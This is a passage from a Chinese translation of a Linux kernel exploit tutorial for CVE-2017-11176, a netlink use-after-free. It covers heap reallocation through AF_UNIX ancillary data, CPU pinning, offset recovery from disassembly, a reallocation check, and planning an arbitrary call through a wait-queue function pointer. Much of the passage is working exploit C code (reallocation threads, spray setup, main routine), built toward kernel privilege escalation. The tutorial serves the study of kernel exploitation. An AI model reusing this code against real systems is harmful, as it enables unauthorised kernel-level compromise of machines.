#define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) && \
                 (cmsg)->cmsg_len <= (unsigned long) \
                 ((mhdr)->msg_controllen - \
                  ((char *)(cmsg) - (char *)(mhdr)->msg_control)))

好了,现在让我们看看__scm_send()的代码,最后对控制信息做了一些实际有用的事:

      int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p)
      {
        struct cmsghdr *cmsg;
        int err;

[0]     for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg))
        {
          err = -EINVAL;

[1]       if (!CMSG_OK(msg, cmsg))
            goto error;

[2]       if (cmsg->cmsg_level != SOL_SOCKET)
            continue;

          // ... cut (skipped code) ...
        }

        // ... cut ...

[3]     return 0;

      error:
        scm_destroy(p);
        return err;
      }

我们的目标是去强迫 __scm_send()返回0[3]。因为msg_controllen 是我们再分配的大小(1024)。我们将会进入这个循环[0](CMSG_FIRSTHDR(msg) != NULL)。

因为[1],这个值在第一个控制信息头部应该是有效的。我们将会设置他为1024(我们整个控制信息缓冲区的大小)。然后,通过指定一个值不同于SOL_SOCKET 。我们可以跳过整个循环[2]。即,下一个控制信息头部将会被CMSG_NXTHDR()查找,因为cmsg_len 和msg_controllen 是相等的(这是唯一一个控制信息),cmsg将会被设置为null,我们将会成功退出循环,返回0[3]。

用另一句话来说,下列过程:

  1. 我们不能控制重新分配缓冲区的前8个字节
  2. 我们对cmsg控制头的第二字段有约束,值不能等于1。
  3. 头的最后4个字节和其他的1008个字节是可以任意使用的。
    在这里插入图片描述

好的,我们得到了所有我们需要的东西,去重新分配一个几乎是任意字符填充的kmalloc-1024的cache。在深入研究之前,我们来看看那些可能出错。

5-4 什么可能出错

在重新分配介绍中,理想的情况已经被阐述过了。然而,我们按照那条路攻击会发生什么?事情会出错。。。

WARNING:我们将不会阐述每一个kmalloc()和kfree()的过程,希望你现在已经了解了分配器。

举个例子,让我们思考netlink_sock对象即将要被被释放:

  1. 如果array_cache是满的,他会调用cache_flusharray()。这会让批处理释放指针指向每个共享array_cache(如果有的话)然后调用free_block()。即,下一个kmalloc()的最快路径不会是最近释放的对象。打破了LIFO的特性。
  2. 如果最后释放的对象是在一个partial slab,他将会被插入到slabs_free 的队列中。
  3. 如果cache早已经有了太多的释放对象,释放的slab会被破坏。(页面会被还给伙伴分配系统)
  4. 伙伴系统可能会创建一些紧凑的东西(像PCP?)然后开始睡眠。
  5. 调度器会让另一个cpu去完成你的任务。array_cache 就会是per-cpu。(per-cpu为系统中的每个处理器都分配了共享变量的副本,详细:https://blog.csdn.net/longwang155069/article/details/52033243)
  6. 系统的内存不足(不是因为你),尽量的去回内存从每一个子系统和分配器。

还有其他的执行路径可以考虑,kmalloc()也是如此。。。考虑了这么多问题,你的所要执行的工作在系统中是孤独的。但是故事不会在这里停下。

这儿有其他的任务(包括内核的)同时使用kmalloc-1024的cache。你在和他们赛跑。一场你会输的赛跑。。。

举个例子,你是释放了netlink_sock对象,但是其他的任务也释放了一个kmalloc-1024对象。即,你系那个会需要去申请两次去重新发呢配netlink_sock(LIFO)。如果其他的作业偷走了他(跑赢了你)?当然。。。你无论如何不能去重分配他直到非常相同的任务不会返回(同时希望这个任务不会被转移动到其他cpu。。。)不过,如何去察觉他?

正如你所看到的,很多事情会出错。这是exp中最关键的一步:释放netlink_sock对象后和再分配他之前。我们不能解决文章中的所有问题。这个更高级的exp,他要求更强大的内核知识。可靠的重定位是一个复杂的主题。

无论怎么样,让我们用两个基础的技巧去解决一些上述的问题:

  • 用sched_setaffinity()的syscall定位cpu。array_cache是一个per-CPU的数据结构。如果你再攻击开始前把cpu掩码设置为单个cpu,你就能确保你用的是同一个array_cachce当你释放和再分配时。
  • 堆喷射。通过再分配许多,我们有一个机会去再分配到netlink_sock对象即使其他任务也在释放kmalloc-1024对象。作为补充,如果netlink_sock的slab时被放在已释放的slab队列的最后,我们尽力去在分配所有的直到一个cache_grow()

最终出现。无论怎样,这是纯猜想(记住基础的技巧)。

请检查执行节去看看他是怎么完成的吧。

5-5 一个新希望

你被上一节吓到了?不要担心,我们现在很幸运。我们要释放的对象(struct netlink_sock)是位于kmalloc-1024。这是个令人惊讶的cache,因为没有被在内核中用的很多。为了去说服你,执行上面“method #5”的穷人方法(???),即查找对象尺寸,观察各种各样的普遍内核内存kmemcaches:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

看?他根本没怎么动。现在看看 “kmalloc-256”, “kmalloc-192”, “kmalloc-64”, “kmalloc-32”。这些事坏人。。。他们只是最常见的内核对象大小。在这些cache里面利用UAF简直事地狱。当然,“kmalloc的活动”取决于你的目标和你在上面运行的方法。但是
,以前的缓冲在所有系统上都是不稳定的。

5-6 再分配执行

好了,是时候去回到我们的poc然后开始编写再分配了。

让我们解决array_cache 的问题通过把我们所有的线程迁移到cup#0:

static int migrate_to_cpu0(void)
{
  cpu_set_t set;

  CPU_ZERO(&set);
  CPU_SET(0, &set);

  if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1)
  {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}

下一步,我们想要去检查我们可以使用辅助数据缓存的原语,让我们探究最理想的内核参数(optmem_max sysctl)的值(通过procfs进程文件系统):

static bool can_use_realloc_gadget(void)
{
  int fd;
  int ret;
  bool usable = false;
  char buf[32];

  if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)
  {
    perror("[-] open");
    // TODO: fallback to sysctl syscall
    return false; // we can't conclude, try it anyway or not ?
  }

  memset(buf, 0, sizeof(buf));
  if ((ret = _read(fd, buf, sizeof(buf))) <= 0)
  {
    perror("[-] read");
    goto out;
  }
  printf("[ ] optmem_max = %s", buf);

  if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache
    usable = true;

out:
  _close(fd);
  return usable;
}

下一步是准备控制信息缓存区。请注意g_realloc_data 是全局申明的,所以每一个线程可以访问他。设置正好的cmsg字段(就是cmsghdr结构体):
ps:cmsghdr见 https://www.cnblogs.com/huyc/archive/2011/12/05/2276827.html

#define KMALLOC_TARGET 1024

static volatile char g_realloc_data[KMALLOC_TARGET];

static int init_realloc_data(void)
{
  struct cmsghdr *first;

  memset((void*)g_realloc_data, 0, sizeof(g_realloc_data));

  // necessary to pass checks in __scm_send()
  first = (struct cmsghdr*) g_realloc_data;
  first->cmsg_len = sizeof(g_realloc_data);
  first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
  first->cmsg_type = 1; // <---- ARBITRARY VALUE

  // TODO: do something useful will the remaining bytes (i.e. arbitrary call)

  return 0;
}

因为我们将会重分配AF_UNIX(负责进程间通信)套接字,我们需要区准备他们。我们将会为了每一个再分配的线程创建一对套接字。这里,我们创造一个特殊的unix socket:abstract sockets(man 7 unix)。即他们的地址从null字节开始(’@’ in netstat)。这不是强制的,仅仅是一个偏好。发送套接字连接接收套接字然后结束,我们通过setsockopt()设置timeout 是MAX_SCHEDULE_TIMEOUT :
ps:
AF_UNIX见 https://www.cnblogs.com/shangerzhong/p/9153737.html
sockaddr_un见 https://blog.csdn.net/gladyoucame/article/details/8768731

struct realloc_thread_arg
{
  pthread_t tid;
  int recv_fd;
  int send_fd;
  struct sockaddr_un addr;    //本地进程间通信的一种套接字
};

static int init_unix_sockets(struct realloc_thread_arg * rta)
{
  struct timeval tv;
  static int sock_counter = 0;

  if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
      ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
  {
    perror("[-] socket");
    goto fail;
  }

  // bind an "abstract" socket (first byte is NULL)
  memset(&rta->addr, 0, sizeof(rta->addr));
  rta->addr.sun_family = AF_UNIX;    //sun_family只能是AF_LOCAL或AF_UNIX
  sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);
  if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
  {
    perror("[-] bind");
    goto fail;
  }

  if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
  {
    perror("[-] connect");
    goto fail;
  }

  // set the timeout value to MAX_SCHEDULE_TIMEOUT
  memset(&tv, 0, sizeof(tv));
  if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))
  {
    perror("[-] setsockopt");
    goto fail;
  }

  return 0;

fail:
  // TODO: release everything
  printf("[-] failed to initialize UNIX sockets!\n");
  return -1;
}

ps:sockaddr_un,见https://blog.csdn.net/gladyoucame/article/details/8768731

一旦开始,再分配线程准备通过用MSG_DONTWAIT 填充接收缓存区来阻塞发送缓冲区,然后锁定直到"big GO"(再分配)

static volatile size_t g_nb_realloc_thread_ready = 0;
static volatile size_t g_realloc_now = 0;

static void* realloc_thread(void *arg)
{
  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
  struct msghdr mhdr;
  char buf[200];

  // initialize msghdr
  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf),
  };
  memset(&mhdr, 0, sizeof(mhdr));
  mhdr.msg_iov = &iov;
  mhdr.msg_iovlen = 1;

  // the thread should inherit main thread cpumask, better be sure and redo-it!
  if (migrate_to_cpu0())
    goto fail;

  // make it block
  while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
    ;
  if (errno != EAGAIN)
  { 
    perror("[-] sendmsg");
    goto fail;
  }

  // use the arbitrary data now
  iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
  mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
  mhdr.msg_controllen = sizeof(g_realloc_data);

  g_nb_realloc_thread_ready++;

  while (!g_realloc_now) // spinlock until the big GO!
    ;

  // the next call should block while "reallocating"
  if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)
  {
    perror("[-] sendmsg");
    goto fail;
  }

  return NULL;

fail:
  printf("[-] REALLOC THREAD FAILURE!!!\n");
  return NULL;
}

再分配线程将会通过g_realloc_now进行自旋锁,直到主线程告诉他们去开始用realloc_NOW() 再分配(让他内联化很重要,减少消耗的时间):

// keep this inlined, we can't loose any time (critical path)
static inline __attribute__((always_inline)) void realloc_NOW(void)
{
  g_realloc_now = 1;
  _sched_yield(); // don't run me, run the reallocator threads!
  sleep(5);
}

系统调用sched_yield()强制主线程被抢占。幸运的是,下一个预定的线程将会是我们再分配线程中的一个,由此赢得再分配比赛。

最后,main()变成:

int main(void)
{
  int sock_fd  = -1;
  int sock_fd2 = -1;
  int unblock_fd = 1;
  struct realloc_thread_arg rta[NB_REALLOC_THREADS];

  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

  if (migrate_to_cpu0())
  {
    printf("[-] failed to migrate to CPU#0\n");
    goto fail;
  }
  printf("[+] successfully migrated to CPU#0\n");

  memset(rta, 0, sizeof(rta));
  if (init_reallocation(rta, NB_REALLOC_THREADS))
  {
    printf("[-] failed to initialize reallocation!\n");
    goto fail;
  }
  printf("[+] reallocation ready!\n");

  if ((sock_fd = prepare_blocking_socket()) < 0)
    goto fail;
  printf("[+] netlink socket created = %d\n", sock_fd);

  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
  {
    perror("[-] dup");
    goto fail;
  }
  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);

  // trigger the bug twice AND immediatly realloc!
  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
      decrease_sock_refcounter(sock_fd2, unblock_fd))
  {
    goto fail;
  }
  realloc_NOW();

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  close(unblock_fd);

  printf("[ ] are we still alive ?\n");
  PRESS_KEY();

  // TODO: exploit

  return 0;

fail:
  printf("[-] exploit failed!\n");
  PRESS_KEY();
  return -1;
}

你可以现在跑这个exp,但是你不会看到任何效果。我们仍然再net_release()期间crash。我们将会修复这个在下一节。

6.利用(任意调用)

“Where there is a will, there is way…”

在之前的节中,我们:
1.解释了再分配和类型混淆的基础
2.收集我们自己的UAF信息和识别悬空指针
3.明白我们可以任意的触发和控制UAF
4.实行在分配

是时候去把所有的混合在一起然后利用UAF。牢记一点:
最后的目标是去控制内核的执行流程。

申明支配内核实际的流程?像其他问题一样,指针:RIP(amd64),PC(arm)。

就像我们在核心内容中看到的一样,内核有很多VFT(虚函数表)和函数指针去实现一些泛型。重写和调用他们去控制执行流程即我们将会在这儿做什么。

6-1 The Primitive Gates(不知道怎么翻译?原始门?)

让我们回到我们的UAF原语。在一个之前的节,我们看到我们可以控制(和触发)UAF通过调用close(unblock_fd)。另外,我们看到struct socket中的sk字段时一个悬空指针。两者之间的关系时VFTs:
struct file_operations socket_file_ops:系统调用close()到sock_close()。
struct proto_ops netlink_ops:sock_close() 到 netlink_release() (大量使用sk)

这些VFT是我们的primitive gates(基本单元?):每一个简单的UAF都是从这些函数指针中的一个开始的。

无论怎样,我们不能精确的控制这些指针。原因是free的结构体是struct netlink_sock。相反,指向VFTs的指针分别存在于struct file和struct socket。我们将会利用VFT提供的原始的功能。

举个例子,让我们看一下netlink_getname()(来自netlink_ops),它可以被很直接的调用追踪访问到。

- SYSCALL_DEFINE3(getsockname, ...) // calls sock->ops->getname()
- netlink_getname()

static int netlink_getname(struct socket *sock, struct sockaddr *addr,
               int *addr_len, int peer)
{
    struct sock *sk = sock->sk;                                 // <----- DANGLING POINTER
    struct netlink_sock *nlk = nlk_sk(sk);                      // <----- DANGLING POINTER
    struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr;    // <----- will be transmitted to userland

    nladdr->nl_family = AF_NETLINK;
    nladdr->nl_pad = 0;
    *addr_len = sizeof(*nladdr);

    if (peer) {                                                 // <----- set to zero by getsockname() syscall
        nladdr->nl_pid = nlk->dst_pid;
        nladdr->nl_groups = netlink_group_mask(nlk->dst_group);
    } else {
        nladdr->nl_pid = nlk->pid;                                // <----- uncontrolled read primitive
        nladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0;     // <----- uncontrolled read primitive
    }
    return 0;
}

当然,这是一个很好的不受控制的阅读原语(两个读,没有副作用)。我们将会使用他去改善exp的可靠性为了去检查再分配成功。

6-2 再分配检查执行:

让我们开始使用先前的原语和检查是否再分配成功!我们怎么做这个?这儿是我们的计划:

  1. 找到nlk->pid和nlk->groups的偏移。
  2. 写一些特殊的值在我们的在分配数据区域。(init_realloc_data())
  3. 调用系统调用getsockname()然后检查返回值。

如果返回地址匹配我们的特殊值,那就意味着再分配起作用,我们有攻击我们的第一个UAF原语(无法控制的读)。你不是总有机会验证再分配是否有效。

为了找到nlk->pid和nlk->groups的偏移,我们首先需要去得到未压缩的二进制文件流。如果你不知道怎么去做,查看这个链接(https://blog.packagecloud.io/eng/2016/03/08/how-to-extract-and-disassmble-a-linux-kernel-image-vmlinuz/)你也应该打开“/boot/System.map-$(uname -r)”文件。如果(由于任何原因)你没有访问这个文件,你可以尝试“/proc/kallsyms”,这个会给你一些结果(需要root权限)。

好了,我们准备好去分解我们的内核了。linux内核本质上就是一个ELF二进制文件。因此你可以用优秀的二进制工具,像objdump。

为了去发现nlk->pid 和 nlk->groups的偏移当他们被使用在netlink_getname()函数上的时候。让我们拆解他!首先用System.map文件找出netlink_getname()的地址:

$ grep "netlink_getname" System.map-2.6.32
ffffffff814b6ea0 t netlink_getname

在我们的例子中,netlink_getname()函数将会被加载到地址0xffffffff814b6ea0

NOTE:我们假设KASLR没有开启。

下一步,用一个反汇编工具打开vmlinux(不是vmlinuZ),然后分析 netlink_getname()函数。

ffffffff814b6ea0:       55                      push   rbp
ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40
ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38]
ffffffff814b6ead:       85 c9                   test   ecx,ecx
ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10
ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0
ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc
ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8
ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]
ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]
ffffffff814b6ed1:       31 c0                   xor    eax,eax
ffffffff814b6ed3:       85 c9                   test   ecx,ecx
ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede
ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1
ffffffff814b6eda:       b0 01                   mov    al,0x1
ffffffff814b6edc:       d3 e0                   shl    eax,cl
ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
ffffffff814b6ee1:       31 c0                   xor    eax,eax
ffffffff814b6ee3:       c9                      leave  
ffffffff814b6ee4:       c3                      ret    
ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]
ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]
ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]
ffffffff814b6ef8:       31 c0                   xor    eax,eax
ffffffff814b6efa:       48 85 d2                test   rdx,rdx
ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede
ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]
ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
ffffffff814b6f04:       31 c0                   xor    eax,eax
ffffffff814b6f06:       c9                      leave  
ffffffff814b6f07:       c3                      ret  

让我们把程序集合拆分成更小块来匹配我们的原始netlink_getname()函数(注意System V ABI)。最重要的事情去记住是参数传递顺序(我们仅仅有4个参数,在这儿)。

  • rdi: struct socket *sock
  • rsi: struct sockaddr *addr
  • rdx: int *addr_len
  • rcx: int peer

让我们继续走,首先我们有开场,0xffffffff8100ae40的调用时空。(在反汇编中查看)

ffffffff814b6ea0:       55                      push   rbp
ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40   // <---- NOP

下一步,我们有公共部分netlink_getname(),在ASM:

ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38] // retrieve "sk"
ffffffff814b6ead:       85 c9                   test   ecx,ecx                  // test "peer" value
ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10      // set "AF_NETLINK"
ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0   // set "nl_pad"
ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc      // sizeof(*nladdr)

代码分支由peer的值决定:

ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8 // "if (peer)"

如果peer不是0(不是我们的例子),那么这儿就都是我们可无视的代码:

ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]    // ignore
ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx      // ignore
ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]    // ignore
ffffffff814b6ed1:       31 c0                   xor    eax,eax                      // ignore
ffffffff814b6ed3:       85 c9                   test   ecx,ecx                      // ignore
ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede           // ignore
ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1                      // ignore
ffffffff814b6eda:       b0 01                   mov    al,0x1                       // ignore
ffffffff814b6edc:       d3 e0                   shl    eax,cl                       // ignore
ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax      // set "nladdr->nl_groups"
ffffffff814b6ee1:       31 c0                   xor    eax,eax                      // return code == 0
ffffffff814b6ee3:       c9                      leave  
ffffffff814b6ee4:       c3                      ret    
ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]

剩下的小阻碍,就是下面的代码:

ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]  // retrieve "nlk->pid"
ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx    // give it to "nladdr->nl_pid"
ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]  // retrieve "nlk->groups"
ffffffff814b6ef8:       31 c0                   xor    eax,eax
ffffffff814b6efa:       48 85 d2                test   rdx,rdx                    // test if "nlk->groups" it not NULL
ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede         // if so, set "nl_groups" to zero
ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]        // otherwise, deref first value of "nlk->groups"
ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax    // ...and put it into "nladdr->nl_groups"
ffffffff814b6f04:       31 c0                   xor    eax,eax                    // return code == 0
ffffffff814b6f06:       c9                      leave  
ffffffff814b6f07:       c3                      ret 

好了,我们有所有我们需要的事了。
nlk->pid的偏移是0x288在"struct netlink_sock"
nlk->groups的偏移是0x2a0在"struct netlink_sock"

为了去检查是否再分配成功,我们将会设置pid的值为0x11a5dcee
(任意的值)和group的值为0(否则他将会被取消引用)。让我们,设置这些值在我们的任意数据数组中(g_realloc_data)。

#define MAGIC_NL_PID 0x11a5dcee
#define MAGIC_NL_GROUPS 0x0

// target specific offset
#define NLK_PID_OFFSET      0x288
#define NLK_GROUPS_OFFSET   0x2a0

static int init_realloc_data(void)
{
  struct cmsghdr *first;
  int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
  void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];

  memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));

  // necessary to pass checks in __scm_send()
  first = (struct cmsghdr*) &g_realloc_data;
  first->cmsg_len = sizeof(g_realloc_data);
  first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
  first->cmsg_type = 1; // <---- ARBITRARY VALUE

  *pid = MAGIC_NL_PID;
  *groups = MAGIC_NL_GROUPS;

  // TODO: do something useful will the remaining bytes (i.e. arbitrary call)

  return 0;
}

再分配数据布局:
在这里插入图片描述
然后检查我们用getsockname()找回这些值。

static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)
{
  struct sockaddr_nl addr;
  size_t addr_len = sizeof(addr);

  memset(&addr, 0, sizeof(addr));
  // this will invoke "netlink_getname()" (uncontrolled read)
  if (_getsockname(sock_fd, &addr, &addr_len))
  {
    perror("[-] getsockname");
    goto fail;
  }
  printf("[ ] addr_len = %lu\n", addr_len);
  printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);
  printf("[ ] magic_pid = %d\n", magic_pid);

  if (addr.nl_pid != magic_pid)
  {
    printf("[-] magic PID does not match!\n");
    goto fail;
  }

  if (addr.nl_groups != magic_groups) 
  {
    printf("[-] groups pointer does not match!\n");
    goto fail;
  }

  return true;

fail:
  return false;
}

最后,在main()里面调用:

int main(void)
{
  // ... cut ...

  realloc_NOW();

  if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))
  {
    printf("[-] reallocation failed!\n");
    // TODO: retry the exploit
    goto fail;
  }
  printf("[+] reallocation succeed! Have fun :-)\n");

  // ... cut ...
}

现在重启exp,再分配成功,你应该可以看到信息"[+] reallocation succeed! Have fun 😃"。如果没有,那么就是再分配失败了。你应该尝试去用重试exp来解决再分配失败(warning:这个需要的比重启exp更多)。现在,我们将会接受,我们将会crash。。。

在这节,我们开始去做我们的虚假"netlink_sock" struct中的pid的类型混淆(来自g_realloc_data)。同时,我们可以看到怎样用getsockname()触发一个无法控制的读原语,getsockname()将会在netlink_getname()的最后。现在你更熟悉UAF原语,让我们继续和完成任意调用。

6-3 任意调用原语

好了,现在(希望)你已经明拜我们的UAF原语在哪,怎么去到达(文件和套接字相关的系统调用)。注意我们甚至没有考虑过其他悬空指针的原语:nl_table的哈希表。现在是时候去到达我们的目标:获得内核执行流的控制。

自从我们想要控制内核执行流,我们需要一个任意调用原语。综上所述,我们可以通过重写一个函数指针去完成。struct netlink_sock 由任何的函数指针(FP)?

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk;                                 // <----- lots of (in)direct FPs
    u32         pid;
    u32         dst_pid;
    u32         dst_group;
    u32         flags;
    u32         subscriptions;
    u32         ngroups;
    unsigned long       *groups;
    unsigned long       state;
    wait_queue_head_t   wait;                           // <----- indirect FP
    struct netlink_callback *cb;                      // <----- two FPs
    struct mutex        *cb_mutex;
    struct mutex        cb_def_mutex;
    void            (*netlink_rcv)(struct sk_buff *skb);    // <----- one FP
    struct module       *module;
};

耶!我们有好多选择:-)。哪个是一个好的任意调用原语?一个需要:

  1. 可以被系统调用(syscall)快速访问(短的调用流程)。
  2. 在系统调用结束后快速的出来(在任意调用后没有其他代码)。
  3. 可以在不被太多检查的的情况下快速到达。
  4. 不会影响任何内核数据结构。

最明显的首选解决方案是去把任意调用的值放到netlink_rcv 函数指针所在的地方。这个FP在netlink_unicast_kernel()被请求。无论如何,使用这个指针有一点复杂。尤其是,这儿大量的检查,他也会影响我们的数据结构。第二明显的选择是变成一个netlink_callback 数据结构中的函数指针。但是,这是不是一个好的调用指针,因为他很复杂,会有很多副作用而且我们需要通过很多检测。

解决方案,我们最后选择了我们的老朋友:wait queue。嗯。。。但是他没有任何的函数指针?

struct __wait_queue_head {
    spinlock_t lock;
    struct list_head task_list;
};
typedef struct __wait_queue_head wait_queue_head_t;

你是对的,但是他的组成部分有(所以叫间接的函数指针):

typedef int (*wait_queue_func_t)(wait_queue_t *wait, unsigned mode, int flags, void *key);

struct __wait_queue {
    unsigned int flags;
#define WQ_FLAG_EXCLUSIVE   0x01
    void *private;
    wait_queue_func_t func;               // <------ this one!
    struct list_head task_list; 
};

作为补充,我们早已经直到这个函数指针在哪里调用了(__wake_up_common()),怎么去到达他(setsockopt())。
如果你不记得怎么做,可以回到part2去看看。我们使用这个去解锁主线程。

又一次,总是由很多的方式去完成exp。我们选择这个方式是因为读者早已经熟悉等待队列,尽管他不是最好的选择。这儿可能有简单的方式但是这个最后至少成功了。此外,他家将会展示怎么去在用户空间中模仿内核数据结构(一个常见的技巧)。

6-4 控制等待队列元素

在过去的节中,我们决定了在等待队列的帮助下得到一个任意调用指针。无论如何,等待队列他自己没有函数指针但是他的组成部分有。为了去到达他们,我们将会需要去在用户空间设置一些东西。他将会要求去模仿一个内核数据结构。

我们假设我们控制数据在一个 kmalloc-1024对象的偏移等待(即等待队列头)的数据。这是通过再分配后完成。

让我们回到struct netlink_sock。注意一件重要的事情,netlink_sock中嵌入着等待参数,这不是一个指针。

WARRING:特别注意(两次检查)是否一个参数是嵌入的还是指针。这是一个bug和错误的来源。让我们重写netlink_sock数据结构:

struct netlink_sock {
  // ... cut ...
    unsigned long       *groups;
    unsigned long       state;

  {                             // <----- wait_queue_head_t wait;
    spinlock_t lock;
    struct list_head task_list;
  }

    struct netlink_callback *cb;                      
  // ... cut ...
};

让我们进一步解释他,spinlock_t 实际上是一个无符号整数(检查定义,注意CONFIG_ preprocessor预处理配置文件)。struct list_head是一个简单的双指针结构。

struct list_head {
    struct list_head *next, *prev;
};

这是:
struct netlink_sock {
  // ... cut ...
    unsigned long       *groups;
    unsigned long       state;

  {                             // <----- wait_queue_head_t wait;
    unsigned int slock;         // <----- ARBITRARY DATA HERE
                                // <----- padded or not ? check disassembly!
    struct list_head *next;     // <----- ARBITRARY DATA HERE
    struct list_head *prev;     // <----- ARBITRARY DATA HERE
  }

    struct netlink_callback *cb;                      
  // ... cut ...
};

当再分配,我们将会不得不设置一个slock,next和prev字段的特殊值。让我们再扩展所有的参数的时候想一下__wake_up_common()的调用追踪。

__wake_up_common()的调用追踪。
- SYSCALL(setsockopt)
- netlink_setsockopt(...)
- wake_up_interruptible(&nlk->wait)
- __wake_up_(&nlk->wait, TASK_INTERRUPTIBLE, 1, NULL)           // <----- deref "slock"
- __wake_up_common(&nlk->wait, TASK_INTERRUPTIBLE, 1, 0, NULL)

代码是:

      static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
            int nr_exclusive, int wake_flags, void *key)
      {
[0]     wait_queue_t *curr, *next;

[1]     list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
[2]       unsigned flags = curr->flags;

[3]       if (curr->func(curr, mode, wake_flags, key) &&
[4]           (flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
[5]         break;
        }
      }

我们早就学习了这个函数,不同的是他现在操控再分配数据(而不是正常的循环等待队列参数)。他做了:
[0]申明等待队列参数指针
[1]迭代task_list的双向循环链表,设置curr和next的值
[2]遵循当前等待队列的元素curr的标志偏移量
[3]调用当前元素的函数指针func
[4]测试是否flag有WQ_FLAG_EXCLUSIVE 约束设置和是否这儿没有更多的任务需要去唤醒。
[5]如果是的话,退出。

最后的任意调用原语会在[3]触发。

NOTE:如果你不理解list_for_each_entry_safe() 宏,哪请回到双循环列表节

让我们总结一下:

  1. 如果我们可以控制等待队列元素的内容,我们有一个func函数指针的任意调用原语。
  2. 我们将会再分配一个有着我们精心准备的数据的假的 struct netlink_sock对象(类型混淆)。
  3. netlink_sock对象有等待队列的头

